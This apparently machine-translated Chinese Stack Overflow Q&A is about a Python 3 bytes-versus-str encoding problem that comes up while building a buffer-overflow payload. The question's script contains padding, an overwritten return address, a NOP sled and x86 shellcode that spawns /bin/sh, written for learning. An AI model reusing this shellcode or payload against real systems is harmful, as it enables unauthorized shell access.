Python

Question

我正在研究缓冲区溢出，我正在尝试编写一个小漏洞，我需要在填充后附加 RIP 地址，问题是当我尝试运行脚本（将其输出到 bin 文件并进行 hexdump），这是我的代码：

#!/bin/python

sig = '2'
pad = '\x41' * 73
rip = '\xb8\xdf\xff\xff\xff\x7f'
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nop = '\x90' * 100


#code = sig + pad + rip
#code = pad + rip + shellcode + nop

print(rip) # Shows 00000000  c2 b8 c3 9f c3 bf c3 bf  c3 bf 7f 0a  |............| instead of rip (0x7fffffffdfb8 => b8 df ff ff ff 7f)

#print(code)

为什么 RIP 不正确？我也尝试打印出 \xb8 但我得到：

00000000  c2 b8 0a                                          |...|

为什么要添加 0xc2？

谢谢

Answer 1

你似乎在使用 Python 3，所以字符串文字是 Unicode，这意味着当你 print 一个字符串时，你得到的字节是用任何字符串编码 Python 编码的decides is correct for your environment: sys.getdefaultencoding() 会告诉你它默认使用的编码。在这种情况下，您将获得 U+00B8 CEDILLA 的 UTF-8 编码作为例如输出的前两个字节。

您可能想改用 bytes：

rip = b'\xb8\xdf\xff\xff\xff\x7f'

Python - 打印十六进制数据显示错误值

Python - Printing hex data shows wrong values

buffer-overflow